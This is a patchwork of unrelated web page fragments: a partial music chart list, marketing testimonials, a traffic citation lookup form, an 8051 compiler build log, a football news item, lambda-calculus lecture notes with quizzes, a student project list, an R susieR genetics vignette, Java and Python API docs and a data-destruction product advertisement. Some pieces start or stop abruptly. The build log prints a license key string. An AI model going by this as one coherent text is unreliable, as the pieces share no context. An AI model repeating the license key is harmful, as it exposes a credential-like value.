T-Pain Featuring Akon
35
Runaway Love
Ludacris Featuring Mary J. Blige
40
You
Lloyd Featuring Lil Wayne
42
Last Night
Diddy Featuring Keyshia Cole
43
Make It Rain
Fat Joe Featuring Lil Wayne
44
Make Me Better
Fabolous Featuring Ne-Yo
49
I'm A Flirt
R. Kelly Or Bow Wow (Featuring T.I. & T-Pain)
52
Face Down
The Red Jumpsuit Apparatus
53
The Way I Live
Baby Boy Da Prince Featuring Lil Boosie
54
Shortie Like Mine
Bow Wow Featuring Chris Brown & Johnta Austin
56
A Bay Bay
Hurricane Chris
58
I Tried
Bone Thugs-N-Harmony Featuring Akon
60
Shawty
Plies Featuring T-Pain
62
Beautiful Liar
Beyonce & Shakira
65
Let It Go
Keyshia Cole Featuring Missy Elliott & Lil Kim
66
Apologize
Timbaland Featuring OneRepublic
73
Throw Some D's
Rich Boy Featuring Polow Da Don
78
2 Step
Unk
79
Walk Away (Remember Me)
Paula DeAnda Featuring The DEY
80
Go Getta
Young Jeezy Featuring R. Kelly
84
Cyclone
Baby Bash Featuring T-Pain
85
Break It Off
Rihanna & Sean Paul
87
Ayo Technology
50 Cent Featuring Justin Timberlake & Timbaland
88
Outta My System
Bow Wow Featuring T-Pain & Johnta Austin
92
Money Maker
Ludacris Featuring Pharrell
93
Kiss Kiss
Chris Brown Featuring T-Pain
95
Rock Yo Hips
Crime Mob Featuring Lil Scrappy
99
That's That
Snoop Dogg Featuring R. Kelly
100
Same Girl
R. Kelly Duet With Usher


Don't take my word for it, though - here's what my clients have to say.
"When I met with Joe for the first time, he asked great deep-dive questions about my business, seeking to not only understand our needs, but help me understand my company's situation as well. While other marketing firms would have given up, Joe didn't - and the results speak for themselves."
Bill Dance
CEO, Dance Financial Services
"Joe went above and beyond the agreed upon scope of work to make sure that we had what we need when we needed it. He advised on everything from the redesign of our website to social media and developing a plan to the design of our annual report. I will never be able to thank him enough."
Grace Livingston
President, HealthCore Solutions
Joe delivers that rare combination of deep expertise, hands-on pragmatism, and real-world results that is rare to find these days in any service provider, large or small. Our daily interactions with him have been spectacular, and the outcomes have consistently exceeded our expectations."
Jim Garrett
VP, Hallmark Commercial


ITM
Toggle navigation
Instagram Travel Map
You can see Instagram users travels and post geolocations in a map.
Search


Toggle navigation
THE Foot
Look Up Citation
Resources
Use this secure form to look up any citations that may exist in your name.
Driver's License #
OR
Citation #
Last Name
Date Of Birth
SUBMIT


ÁVision Build Log
Tool Versions:
IDE-Version: ÁVision V<IP_ADDRESS> Copyright (C) 2015 ARM Ltd and ARM Germany GmbH. All rights reserved. License Information: a a, a, LIC=MPY74-FIDJL-VMI9I-TSJ7N-WEZBI-ISH5C Tool Versions: Toolchain: PK51 Prof. Developers Kit Version: 9.02 Toolchain Path: C:\Keil_v5\C51\BIN C Compiler: C51.exe V9.02 Assembler: A51.exe V8.02 Linker/Locator: BL51.exe V6.22 Library Manager: LIB51.exe V4.24 Hex Converter: OH51.exe V2.6 CPU DLL: S8051.DLL V3.73 Dialog DLL: DP51.DLL V2.61Project:
F:\Tutorials_And_Codes\8051\Ultra_8051_Board\06e-UART_String_RxTx_Lcd\06e-UART_String_RxTx_Lcd.uvproj Project File Date: 02/26/2016Output:
Rebuild target 'Target 1' compiling main.c... compiling delay.c... compiling gpio.c... compiling lcd.c... compiling uart.c... linking... *** WARNING L16: UNCALLED SEGMENT, IGNORED FOR OVERLAY PROCESS SEGMENT: ?PR?_UART_TXSTRING?UART *** ERROR L107: ADDRESS SPACE OVERFLOW SPACE: DATA SEGMENT: ?DT?LCD LENGTH: 0014H *** ERROR L105: PUBLIC REFERS TO IGNORED SEGMENT SYMBOL: ARR_LCDLINENUMADDRESS_U8 SEGMENT: ?DT?LCD *** ERROR L105: PUBLIC REFERS TO IGNORED SEGMENT SYMBOL: LCDCONFIG SEGMENT: ?DT?LCD *** ERROR L105: PUBLIC REFERS TO IGNORED SEGMENT SYMBOL: V_LCDTRACKLINENUM_U8 SEGMENT: ?DT?LCD *** ERROR L105: PUBLIC REFERS TO IGNORED SEGMENT SYMBOL: V_LCDTRACKCURSORPOS_U8 SEGMENT: ?DT?LCD Program Size: data=142.0 xdata=0 code=3237 Target not created. Build Time Elapsed: 00:00:01


Tottenham sacks coach Pochettino, his crew
by FRENCH PRESS AGENCY - AFPTottenham Hotspur sacked manager Mauricio Pochettino on Tuesday just five months after reaching the Champions League final following a poor start to the Premier League season.
"The Club can today announce that Mauricio Pochettino and his coaching staff Jesus Perez, Miguel D'Agostino and Antoni Jimenez have been relieved of their duties," Tottenham, who sit 14th in the Premier League, said in a statement.


The Smallest Universal Language
Developed in 1930s by Alonzo Church
- Studied in logic and computer science
Test bed for procedural and functional PLs
- Simple, Powerful, Extensible
The Next 700 Languages
Whatever the next 700 languages turn out to be, they will surely be variants of lambda calculus.
Peter Landin, 1966
Syntax: What Programs Look Like
e ::= x, y, z, ...
| function(x){ return e }
| e1(e2)
Three kinds of expressions
e
Variables
x
,y
,z
(in JSx
,y
,z
)
Function Definitions (Abstraction)
\x -> e
(in JSfunction(x){return e}
or(x) => e
)
Function Call (Application)
e1 e2
(in JSe1(e2)
)
Complete Description
Application Is Left Associative
We write
e1 e2 e3 e4
instead of
(((e1 e2) e3) e4)
We write
\x1 -> \x2 -> \x3 -> \x4 -> e
instead of
\x1 -> (\x2 -> (\x3 -> (\x4 -> e)))
Examples
\x -> x -- The Identity function
-- function (x) { return x ;}
-- (x) => x
\y -> (\x -> x) -- A function that returns the Identity Fun
-- function(y){ return
-- function (x) { return x ;}
-- }
\f -> f (\x -> x) -- A function that applies arg to the Identity Fun
Semantics : What Programs Mean
We define the meaning of a program with simple rules.
- Scope
- α-step (aka. renaming formals)
- β-step (aka. function calls)
Semantics: Scope
The part of a program where a variable is visible
In the expression \x -> e
x
is the newly introduced variablee
is the scope ofx
x
is bound insidee
(\x -> (\y -> x)) x
Semantics: Free vs Bound Variables
y
is free inside e
if
y
appears insidee
, andy
is not bound insidee
Formally,
free(x) = {x}
free(\x -> e) = free(e) - {x}
free(e1 e2) = free(e1) + free(e2)
QUIZ
Let e
be the expression \x -> x (\y -> x y z)
.
Which variables are free in e
?
A. x
B. y
C. z
D. x
, y
E. x
, y
, z
Semantics: α-Equivalence
λ-terms E1
and E2
are α-equivalent if
E2
can be obtained be renaming the bound variables ofE1
or
E1
can be obtained be renaming the bound variables ofE2
Semantics: α-step
Example: The following three terms are α-equivalent
\x -> x =a> \y -> y =a> \z -> z
We write E1 =a> E2
if E1
is α-equivalent to E2
.
- We can say
E1
takes an α-step toE2
.
α-step Makes Scope Clear
We often α-rename to make parameter names unique
For example, instead of
\x -> x (\x -> x) x -- Yucky scope
=a> \x -> x (\y -> y) x -- Scope of bindings crystal clear
Semantics: Function Calls
In the λ-calculus, a “function call” (application) looks like (x -> E1) E2
| Function | Argument |
|---|---|
\x -> E1 |
E2 |
How do we evaluate the function with the given argument?
- Rename parameters to make them unique
- Substitute all occurrences of
x
inE1
withE2
!
If so, we say that
(\x -> E1) E2
β-steps toE1[x := E2]
and we can write it as
(\x -> E1) E2 =b> E1[x := E2]
Function Calls: β-step Example
Replace occurrences of parameter f
with argument
(\f -> f (f x)) g
=b> g (g x)
No need to rename, bindings already unique
Normal Forms
An redex is a λ-term of the form
(\x -> E1) E2
A λ-term is in normal form if it contains no redexes.
QUIZ
Is the term x
in normal form ?
A. Yes
B. No
QUIZ
Is the term (x y)
in normal form ?
A. Yes
B. No
QUIZ
Is the term (\x -> x) y
in normal form ?
A. Yes
B. No
QUIZ
Is the term x (\y -> y)
in normal form ?
A. Yes
B. No
Semantics: Evaluation
A λ-term E
reduces/evaluates to a normal form E'
if
there is a sequence of steps
E =?> E_1 =?> ... =?> EN =?> E'
where each =?>
is
- An α-step
=a>
or - A β-step
=b>
.
Examples of Evaluation
(\x -> x) E
=b> E
(\f -> f (\x -> x)) (\x -> x)
=a> (\f -> f (\x -> x)) (\y -> y)
=b> (\y -> y) (\x -> x)
=b> (\x -> x)
Non-Terminating Evaluation
(\x -> x x) (\y -> y y)
=b> (\y -> y y) (\y -> y y)
=a> (\x -> x x) (\y -> y y)
Oops, we can write programs that loop back to themselves…
- Self replicating code!
λ-Calculus Review
Super tiny language
E ::= x | \x -> E | (E E)
- Many steps possible, which to take?
- Call-by-name
- Call-by-value
- Call-by need
Church Rosser Theorem
- Regardless of strategy at most one normal form
- i.e. Programs can evaluate to a single result.
λ-calculus and CSE 130?
Whatever the next 700 languages turn out to be, they will surely be variants of lambda calculus.
Huh? What was that Landin fellow going on about?
Programming with the λ-calculus
Real languages have lots of features
- Booleans done
- Branches done
- Records done
- Numbers
- Representation :
n
as\f x -> f (f (f (f x)))
- IsZero
- Representation :
- Arithmetic
- Incr
- Add
- Mul
- Sub
- Functions (ok, we got those)
- Recursion
Lets see how to encode all of the above with the λ-calculus.
Hidden Motive
- Free your mind
- Build intuition about evaluation-by-substitution
QUIZ
let bar = (\x y -> x)
What does (bar apple orange)
evaluate to?
A. bar orange
B. bar apple
C. apple
D. orange
E. bar
λ-calculus: Booleans
What can we do with a Boolean? - Make a binary choice
How can we encode choice as a function? - A Boolean is a function that - Takes two inputs - Returns one of them as output
True and False
let TRUE = \x y -> x -- returns FIRST input
let FALSE = \x y -> y -- returns SECOND input
Here, let NAME = e
means NAME
is an abbreviation for e
- We don’t want to keep re-typing the whole expression out.
QUIZ
Given
let TRUE = \x y -> x
let FALSE = \x y -> y
What does (TRUE apple orange)
evaluate to?
A. apple
B. orange
C. None of the above
λ-calculus: Branches
A branch is a function that takes three inputs
let ITE = \b x y -> ...
- If
b
evaluates toTRUE
returnx
- If
b
evaluates toFALSE
returny
In other languages like C or JavaScript you would write
b ? x : y
How shall we implement ITE
as a λ-expression?
let ITE = \b x y -> b x y
Example: Branches
We want
if TRUE then e1 else e2
to evaluate toe1
Does it?
eval ite_true:
ITE TRUE e1 e2
=d> (\b x y -> b x y) TRUE e1 e2 -- expand def ITE
=b> (\x y -> TRUE x y) e1 e2 -- beta-step
=b> (\y -> TRUE e1 y) e2 -- beta-step
=b> TRUE e1 e2 -- expand def TRUE
=d> (\x y -> x) e1 e2 -- beta-step
=b> (\y -> e1) e2 -- beta-step
=b> e1
Example: Branches
Now you try it! We want
if FALSE then e1 else e2
to evaluate toe2
Can you fill in the blanks to make it happen?
eval ite_false:
ITE FALSE e1 e2
-- fill the steps in!
=*> e2
QUIZ
let TRUE = \p q -> p
let FALSE = \p q -> q
let HAHA = \b -> ITE b FALSE TRUE
What does HAHA TRUE
evaluate to?
A. HAHA TRUE
B. TRUE
C. FALSE
D. HAHA
E. HAHA FALSE
Boolean Operators: NOT
We can develop the Boolean operators from truth tables
b |
NOT b |
|---|---|
| TRUE | FALSE |
| FALSE | TRUE |
We can encode the above as:
let NOT = \b -> ITE b FALSE TRUE
That is, HAHA
is actually the NOT
operator!
Boolean Operators: AND
Similarly, AND b1 b2
is defined by the truth table
b1 |
b2 |
AND b1 b2 |
|---|---|---|
| FALSE | FALSE | FALSE |
| FALSE | TRUE | FALSE |
| TRUE | FALSE | FALSE |
| TRUE | TRUE | TRUE |
We can encode the truth table as a function
let AND = \b1 b2 -> ITE b1 (ITE b2 TRUE FALSE) FALSE
which can be simplified to
let AND = \b1 b2 -> b1 b2 FALSE
(Can you see why?)
Boolean Operators: OR
Similarly, OR b1 b2
is defined by the truth table
b1 |
b2 |
AND b1 b2 |
|---|---|---|
| FALSE | FALSE | FALSE |
| FALSE | TRUE | TRUE |
| TRUE | FALSE | TRUE |
| TRUE | TRUE | TRUE |
We can encode the truth table as a function
let OR = \b1 b2 -> ITE b1 TRUE (ITE b2 TRUE FALSE)
which can be simplified to
let OR = \b1 b2 -> b1 TRUE b2
(Can you see why?)
λ-calculus: Records
What can we do with records ?
- Pack two items into a record.
- Get first item.
- Get second item.
Records : API
(PACK v1 v2) -- makes a pair out of v1, v2 s.t.
-- { fst : v1, snd : v2 }
-- (\b -> ITE b v1 v2)
(FST r) -- returns the first element
-- r.fst
-- r TRUE
(SND r) -- returns the second element
-- r.snd
-- r FALSE
such that
FST (PACK v1 v2) = v1
-- var r = { fst : v1, snd : v2}; assert(r.fst === v1)
SND (PACK v1 v2) = v2
-- var r = { fst : v1, snd : v2}; assert(r.snd === v2)
Records: Implementation
A create a record as a function
let PACK = \v1 v2 -> (\b -> ITE b v1 v2)
- Is called with a Boolean
b
- Returns first element if
b
isTRUE
- Returns second element if
b
isFALSE
We access a record by calling it with TRUE
or FALSE
let FST = \r -> r TRUE -- call w/ TRUE, get first value
let SND = \r -> r FALSE -- call w/ FALSE, get second value
Exercise: Records with 3 values?

-- A
let ZERO = \f x -> x
-- B
let ZERO = \f x -> f
-- C
let ZERO = \f x -> f x
-- D
let ZERO = \x -> x
-- E
-- none of the above!
λ-calculus: Arithmetic (IsZero
)
Lets implement a small API for numbers:
-- TRUE if n = ZERO and FALSE otherwise
let IsZero = \n -> ...
λ-calculus: Arithmetic (Incr
)
-- Call `f` on `x` one more time than `n` does
let Incr = \n -> (\f x -> ...
-- Call `f` on `x` exactly `n + m` times
let Plus = \n m -> ???
eval plus_zero_zero :
Plus ZERO ZERO =~> ZERO
eval plus_two_one :
Plus TWO ONE =~> THREE
eval plus_two_two :
Plus TWO TWO =~> FOUR
A. let Plus = \n m -> (n Incr) m
B. let Plus = \n m -> Incr n m
C. let Plus = \n m -> n m Incr
D. let Plus = \n m -> n (m Incr)
E. let Plus = \n m -> n (Incr m)
λ-calculus: Arithmetic (Plus
)
-- Call `f` on `x` exactly `n + m` times
let Plus = \n m -> ???


Theme Demo - DuoTone - HTML-Mixed Mode Mixed HTML Example Mixed HTML Example Codepen Select a theme: default duotone-dark-cm duotone-darksea-cm duotone-darkspace-cm duotone-darkearth-cm duotone-darkforest-cm duotone-darkcave-cm duotone-darkdesert-cm duotone-darkheath-cm duotone-darkmeadow-cm duotone-darkpark-cm duotone-darkpool-cm duotone-darklake-cm duotone-light-light-cm


NWoC 2020 Projects
These are the selected projects for NWoC 2020. Please refer to the project Readme to get the Communication Channel Link of the project to be in touch with the mentor. Make sure to visit the Getting Started repository to know the important rules and guidelines that you need to follow.
QP-Generator
A web app which helps everyone to generate question paper with ease. We will use T5 parapharser model to rephrase the questions.
Mentors: AkbarHabeeb
- React/Flask
- Web
ToDoista
A ToDo app made using MERN to keep a track of your activities on a single click.
Mentors: garimasingh128
- MERN
- Web
profext
A profile search engine for accessing my all social media profile in one tap.This chrome extension let's you track your profiles on any account in a single click.
Mentors: garimasingh128
- HTML/CSS/JS(Chrome Extension)
- Web
edualgo-app-demo
This repository contains the demo application of the package edualgo in flutter and dart.
Mentors: Abhijit2505
- Flutter
- Android
Placement-Manager
A Flask application used to managing and maintaining placement related data, activities, updates and more.
Mentors: josharsh
- HTML/Python
- Web
iitp-discord-bot
A discrod bot for IIT Patna community on any discord server.
Mentors: piyushchauhan
- JS
- Discord-Bot
DataScientist
DataScientist is a Python library in making to ease the life of a Data Scientist.
Mentors: sidhu1012
- Python
- Data Science
Snippet-Share
This is a snippet sharing app that can be used to share snippets of code and more.
Mentors: PragatiVerma18
- Python/HTML/CSS/JS
- Web
Snappify
A Screenshot app with Screenshot API and React js, that create screenshots of websites with the help of the URL that we will paste to the Input field.
Mentors: PragatiVerma18
- HTML/CSS/JS
- Web
ML-DL-implementation
An implementation of ML and DL algorithms from scratch in python using nothing but numpy.
Mentors: rohansingh9001
- Python
- Machine Learning
awesome-portfolio-websites
An open source project aimed at providing free and beautiful templates to everyone for building their portfolio websites and showcase their work to the world
Mentors: smaranjitghose anushbhatia
- HTML/CSS/JS
- Web
Face-X
Recognition of faces by model training using OPENCV
Mentors: akshitagupta15june
- Python
- OpenCV
lane_detection_opencv
The lane detection has proved to be an efficient technique to prevent accidents in Intelligent Transportation Systems.
Mentors: akshitagupta15june
- Python
- OpenCV
Heal-O-Chat
Heal-O-Chat is a Social Media Application for people who have been feeling less motivated in life or are losing hope.
Mentors: plazzy99
- Java
- Android
Bloggitt
A blogging application for users to post their views with Backend on Django and Frontend on HTML, CSS, Bootstrap.
Mentors: diyajaiswal11
- Python/HTML
- Web
IPL-Analysis
This project is about analyzing the previous year's IPL data to get some interesting insights
Mentors: sakshamj74
- Python
- Data Science
NewsUp
News Up is an Android Application to fetch Latest Short News in different categories to keep you updated.
Mentors: dheerajkotwani
- Kotlin
- Android
SimplifyReports
SimplifyReport is an Android Application with backend on Django REST Framework which simplifies the process of reporting cases of fire, crimes and calling an ambulance.
Mentors: dheerajkotwani
- Kotlin
- Android
RecipeBookFlutter
App to create a recipe book using Flutter.
Mentors: raghavSharma1472
- Flutter
- Android
PLANET_HUNT
Write 3rd person 3 D arcade game with finished controls and requires a score card and coin collection C# script
Mentors: sshekhar3000
- C#/Unity
- GameDev
canvasboard
An interactive board with plugins focusing on replacing the need of multiple platforms for teaching, presenting, managing or explaining your ideas.
Mentors: Kajol-Kumari
- HTML/JS/TypeScript
- Web
To see previous year's projects, check the Archive.


This vignette demonstrates susieR
in the context of genetic fine-mapping. We use simulated data of expression level of a gene (\(y\)) in \(N \approx 600\) individuals. We want to identify with the genotype matrix \(X_{N\times P}\) (\(P=1000\)) the genetic variables that causes changes in expression level.
The simulated data-set is available here, as part of the susieR
package. It is simulated to have exactly 3 non-zero effects.
data
contains regression data-set \(X\) and \(y\), along with some other relevant properties in the context of genetic studies. It also contains the “true” regression coefficent the data is simulated from.
names(data)
# [1] "X" "chrom" "pos"
# [4] "true_coef" "residual_variance" "Y"
# [7] "allele_freq" "V"
Notice that we’ve simulated 2 sets of \(Y\) as 2 simulation replicates. Here we’ll focus on the first data-set.
dim(data$Y)
# [1] 574 2
Here are the 3 “true” signals in the first data-set:
b <- data$true_coef[,1]
plot(b, pch=16, ylab='effect size')
which(b != 0)
# [1] 403 653 773
So the underlying causal variables are 403, 653 and 773.
The data-set additionally provides summary statistics for fitting univariate simple regression variable by variable. The results are \(\hat{\beta}\) and \(SE(\hat{\beta})\) from which z-scores can be derived. Again we focus only on results from the first data-set:
z_scores <- sumstats[1,,] / sumstats[2,,]
z_scores <- z_scores[,1]
susie_plot(z_scores, y = "z", b=b)
susieR
For starters, we assume there are at most 10 causal variables, i.e., set L = 10
, although SuSiE is robust to the choice of L
.
Notice that by default SuSiE estimates prior effect size from data. For fine-mapping applications, however, we often have some knowledge of SuSiE prior effect size since it is parameterized as percentage of variance explained. Here for this eQTL fine-mapping application we set SuSiE prior variance to 0.1, and update residual variance in the variational algorithm that fits SuSiE model. The susieR
function call is:
fitted <- susie(data$X, data$Y[,1],
L = 10,
estimate_residual_variance = TRUE,
estimate_prior_variance = FALSE,
scaled_prior_variance = 0.1,
verbose = TRUE)
# [1] "objective:-1392.42460921237"
# [1] "objective:-1388.98662572569"
# [1] "objective:-1387.87893344487"
# [1] "objective:-1387.87158194815"
# [1] "objective:-1387.73100740437"
# [1] "objective:-1387.73099852765"
# [1] "objective:-1387.67616609041"
# [1] "objective:-1387.67615783404"
# [1] "objective:-1386.3771843175"
# [1] "objective:-1386.36402706426"
# [1] "objective:-1381.99570801789"
# [1] "objective:-1381.86807518103"
# [1] "objective:-1381.18590761064"
# [1] "objective:-1381.18342754332"
# [1] "objective:-1381.13344267981"
# [1] "objective:-1381.13343270768"
# [1] "objective:-1381.13113705137"
# [1] "objective:-1381.1311369139"
# [1] "objective:-1381.13106293455"
By default, we output 95% credible set:
print(fitted$sets)
# $cs
# $cs$L3
# [1] 653
#
# $cs$L1
# [1] 773 777
#
# $cs$L2
# [1] 362 372 373 374 379 381 383 384 386 387 388 389 391 392 396 397 398
# [18] 399 400 401 403 404 405 407 408 415
#
#
# $purity
# min.abs.corr mean.abs.corr median.abs.corr
# L3 1.0000000 1.0000000 1.0000000
# L1 0.9815726 0.9907863 0.9907863
# L2 0.8686309 0.9673674 0.9756251
#
# $cs_index
# [1] 3 1 2
#
# $coverage
# [1] 0.95
The 3 causal signals have been captured by the 3 CS reported here. The 3rd CS contains many variables, including the true causal variable 403
. The minimum absolute correlation is 0.86.
If we use the default 90% coverage for credible sets, we still capture the 3 signals, but “purity” of the 3rd CS is now 0.91 and size of the CS is also a bit smaller.
sets <- susie_get_cs(fitted,
X = data$X,
coverage = 0.9,
min_abs_corr = 0.1)
print(sets)
# $cs
# $cs$L3
# [1] 653
#
# $cs$L1
# [1] 773 777
#
# $cs$L2
# [1] 373 374 379 381 383 384 386 387 388 389 391 392 396 399 400 401 403
# [18] 404 405 407 408
#
#
# $purity
# min.abs.corr mean.abs.corr median.abs.corr
# L3 1.0000000 1.0000000 1.0000000
# L1 0.9815726 0.9907863 0.9907863
# L2 0.9119572 0.9744588 0.9779763
#
# $cs_index
# [1] 3 1 2
#
# $coverage
# [1] 0.9
Previously we’ve determined that summing over 3 single effect regression models is approperate for our application. Here we summarize the variable selection results by posterior inclusion probability (PIP):
susie_plot(fitted, y="PIP", b=b)
The true causal variables are colored red. The 95% CS identified are circled in different colors. Of interest is the cluster around position 400. The true signal is 403 but apparently it does not have the highest PIP. To compare ranking of PIP and original z-score in that CS:
i <- fitted$sets$cs[[3]]
z3 <- cbind(i,z_scores[i],fitted$pip[i])
colnames(z3) <- c('position', 'z-score', 'PIP')
z3[order(z3[,2], decreasing = TRUE),]
# position z-score PIP
# [1,] 396 5.189811 0.06026797
# [2,] 381 5.164794 0.08444210
# [3,] 386 5.164794 0.08444210
# [4,] 379 5.077563 0.05804100
# [5,] 391 5.068388 0.06299894
# [6,] 383 5.057053 0.06048718
# [7,] 384 5.057053 0.06048718
# [8,] 389 5.052519 0.04925977
# [9,] 405 5.039617 0.05629383
# [10,] 403 5.035949 0.03808209
# [11,] 387 5.013526 0.04831886
# [12,] 388 4.997955 0.04696986
# [13,] 408 4.994865 0.05477586
# [14,] 404 4.954407 0.04024608
# [15,] 374 4.948060 0.03589437
# [16,] 373 4.934410 0.02832642
# [17,] 362 4.894243 0.01244577
# [18,] 399 4.860780 0.03073966
# [19,] 392 4.856384 0.02490617
# [20,] 407 4.849285 0.02139881
# [21,] 400 4.827361 0.02610013
# [22,] 398 4.751205 0.01761845
# [23,] 401 4.723184 0.02014360
# [24,] 397 4.716886 0.01240547
# [25,] 415 4.663208 0.01437857
# [26,] 372 4.581560 0.01032276
We found that SuSiE is generally robust to choice of priors. Here we set scaled prior variance (percentage of variance explained) to 0.2, and compare with previous results:
fitted = susie(data$X, data$Y[,1],
L = 10,
estimate_residual_variance = TRUE,
estimate_prior_variance = FALSE,
scaled_prior_variance = 0.2)
susie_plot(fitted, y='PIP', b=b)
which largely remains unchanged. We also illustrate below analysis using default prior estimated from data,
fitted = susie(data$X, data$Y[,1],
L = 10,
estimate_residual_variance = TRUE)
susie_plot(fitted, y='PIP', b=b)
Here are some details about the computing environment, including the versions of R, and the R packages, used to generate these results.
sessionInfo()
# R version 3.5.3 (2019-03-11)
# Platform: x86_64-apple-darwin15.6.0 (64-bit)
# Running under: macOS 10.15.3
#
# Matrix products: default
# BLAS: /Library/Frameworks/R.framework/Versions/3.5/Resources/lib/libRblas.0.dylib
# LAPACK: /Library/Frameworks/R.framework/Versions/3.5/Resources/lib/libRlapack.dylib
#
# locale:
# [1] en_US.UTF-8/en_US.UTF-8/en_US.UTF-8/C/en_US.UTF-8/en_US.UTF-8
#
# attached base packages:
# [1] stats graphics grDevices utils datasets methods base
#
# other attached packages:
# [1] susieR_<IP_ADDRESS>1
#
# loaded via a namespace (and not attached):
# [1] Rcpp_1.0.3 rstudioapi_0.10 knitr_1.23 xml2_1.2.0
# [5] magrittr_1.5 roxygen2_7.0.2 MASS_7.3-51.1 lattice_0.20-38
# [9] R6_2.4.1 rlang_0.4.4 highr_0.8 stringr_1.4.0
# [13] tools_3.5.3 grid_3.5.3 xfun_0.7 htmltools_0.3.6
# [17] yaml_2.2.0 digest_0.6.25 assertthat_0.2.1 rprojroot_1.3-2
# [21] pkgdown_1.3.0 crayon_1.3.4 Matrix_1.2-15 purrr_0.3.3
# [25] fs_1.3.1 memoise_1.1.0 evaluate_0.13 rmarkdown_1.13
# [29] stringi_1.4.3 compiler_3.5.3 desc_1.2.0 backports_1.1.5


Subclass of the Attribute Class. More...
Public Member Functions | |
| def | initialize_attribute |
| Public Member Functions inherited from attributes.Attribute | |
| def | __init__ |
| Class constructor. More... | |
| def | initialize_attribute |
| Initializes the variable AttributeString. More... | |
| def | set_to_default_attribute |
| sets the variable AttributeString to the variable DefaultAttribute More... | |
| def | set_attribute |
| sets the variable AttributeString to the passed variable attribute More... | |
| def | set_boolean |
| sets the object variable boolean to the passed boolean variable More... | |
| def | get_name |
| def | get_attribute |
| def | get_boolean |
Additional Inherited Members | |
| Public Attributes inherited from attributes.Attribute | |
| name | |
| AttributeString | |
| boolean | |
| DefaultAttribute | |
Subclass of the Attribute Class.
Use this if you know your AttributeString variable will be of the boolean type.


com.google.code.yanf4j.statistics.impl
Class DefaultStatistics
java.lang.Object
com.google.code.yanf4j.statistics.impl.DefaultStatistics
- All Implemented Interfaces:
- Statistics
public class DefaultStatistics
- extends java.lang.Object
- implements Statistics
Default statistics implementation
- Author:
- dennis
| Methods inherited from class java.lang.Object |
clone, equals, finalize, getClass, hashCode, notify, notifyAll, toString, wait, wait, wait |
DefaultStatistics
public DefaultStatistics()
start
public void start()
- Specified by:
start
in interface Statistics
getSendBytesPerSecond
public double getSendBytesPerSecond()
- Specified by:
getSendBytesPerSecond
in interface Statistics
getReceiveBytesPerSecond
public double getReceiveBytesPerSecond()
- Specified by:
getReceiveBytesPerSecond
in interface Statistics
isStatistics
public boolean isStatistics()
- Specified by:
isStatistics
in interface Statistics
getStartedTime
public long getStartedTime()
- Specified by:
getStartedTime
in interface Statistics
reset
public void reset()
- Specified by:
reset
in interface Statistics
restart
public void restart()
- Specified by:
restart
in interface Statistics
getProcessedMessageAverageTime
public double getProcessedMessageAverageTime()
- Specified by:
getProcessedMessageAverageTime
in interface Statistics
getProcessedMessageCount
public long getProcessedMessageCount()
- Specified by:
getProcessedMessageCount
in interface Statistics
statisticsProcess
public void statisticsProcess(long n)
- Specified by:
statisticsProcess
in interface Statistics
stop
public void stop()
- Specified by:
stop
in interface Statistics
getRecvMessageCount
public long getRecvMessageCount()
- Specified by:
getRecvMessageCount
in interface Statistics
getRecvMessageTotalSize
public long getRecvMessageTotalSize()
- Specified by:
getRecvMessageTotalSize
in interface Statistics
getRecvMessageAverageSize
public long getRecvMessageAverageSize()
- Specified by:
getRecvMessageAverageSize
in interface Statistics
getRecvMessageCountPerSecond
public double getRecvMessageCountPerSecond()
- Specified by:
getRecvMessageCountPerSecond
in interface Statistics
getWriteMessageCount
public long getWriteMessageCount()
- Specified by:
getWriteMessageCount
in interface Statistics
getWriteMessageTotalSize
public long getWriteMessageTotalSize()
- Specified by:
getWriteMessageTotalSize
in interface Statistics
getWriteMessageAverageSize
public long getWriteMessageAverageSize()
- Specified by:
getWriteMessageAverageSize
in interface Statistics
statisticsRead
public void statisticsRead(long n)
- Specified by:
statisticsRead
in interface Statistics
statisticsWrite
public void statisticsWrite(long n)
- Specified by:
statisticsWrite
in interface Statistics
getWriteMessageCountPerSecond
public double getWriteMessageCountPerSecond()
- Specified by:
getWriteMessageCountPerSecond
in interface Statistics
getAcceptCountPerSecond
public double getAcceptCountPerSecond()
- Specified by:
getAcceptCountPerSecond
in interface Statistics
statisticsAccept
public void statisticsAccept()
- Specified by:
statisticsAccept
in interface Statistics
setReceiveThroughputLimit
public void setReceiveThroughputLimit(double receivePacketRate)
- Specified by:
setReceiveThroughputLimit
in interface Statistics
isReceiveOverFlow
public boolean isReceiveOverFlow()
- Description copied from interface:
Statistics
- Check session if receive bytes per second is over flow controll
- Specified by:
isReceiveOverFlow
in interface Statistics
- Returns:
isSendOverFlow
public boolean isSendOverFlow()
- Description copied from interface:
Statistics
- Check session if receive bytes per second is over flow controll
- Specified by:
isSendOverFlow
in interface Statistics
- Returns:
getSendThroughputLimit
public double getSendThroughputLimit()
- Specified by:
getSendThroughputLimit
in interface Statistics
setSendThroughputLimit
public void setSendThroughputLimit(double sendThroughputLimit)
- Specified by:
setSendThroughputLimit
in interface Statistics
getReceiveThroughputLimit
public final double getReceiveThroughputLimit()
- Specified by:
getReceiveThroughputLimit
in interface Statistics
Copyright © 2011. All Rights Reserved.


Track:
Eluveitie
Runaway
Suit Up
Go Full Screen
???
Red Tint
Invert
Noise
Lines
Circle Radius
Delay/Reverb:


{% extends "base_generic.html" %} {% block title %}
LocalLibrary is an online library founded in 2020 by no one. It simple strives to show the functionality of using Django to develop full functioning web applications.
You can read any book of you choice here by using our embeded online reader or download them for the offline use. Everything is FREE
Follow us for more updates about the library.


Secure data elimination using NSA level erasure technology from the world leader in data degaussers and destroyers.
Companies go to great lengths to protect their data from network intrusions, hacking, viruses, and theft. However, many fail to protect against the disastrous consequences of data security breaches from stored, stockpiled, donated, resold, discarded, and recycled magnetic and solid-state media that they thought was deleted, erased or secured through overwriting or encryption technology.
This is an enormous, but often overlooked source of data leakage
Defective and retired data storage devices (hard disks, tapes, SSDs, pen drives), once removed from servers, storage systems, desktops, laptops etc. present a potent and potentially massive source of data leakage. Organizations can face severe penalties for data leakage of current or even old data.
To safeguard your company and ensure compliance with data protection laws, it is essential to securely and completely destroy unwanted data that may reside on retired storage devices.
HD-3WXL Demo video :
HD-2X Demo video :
PD-5 Demo video :
FLASHPRO Demo video :
Two most important data-security policy requirements emerging from IT departments, healthcare facilities, government facilities, and data centers are:
Mobile destruction unit Demo video :
Data is stored in the magnetic media, such as hard drives and magnetic tape, by making very small areas called magnetic domains change their magnetic alignment to be in the direction of an applied magnetic field.
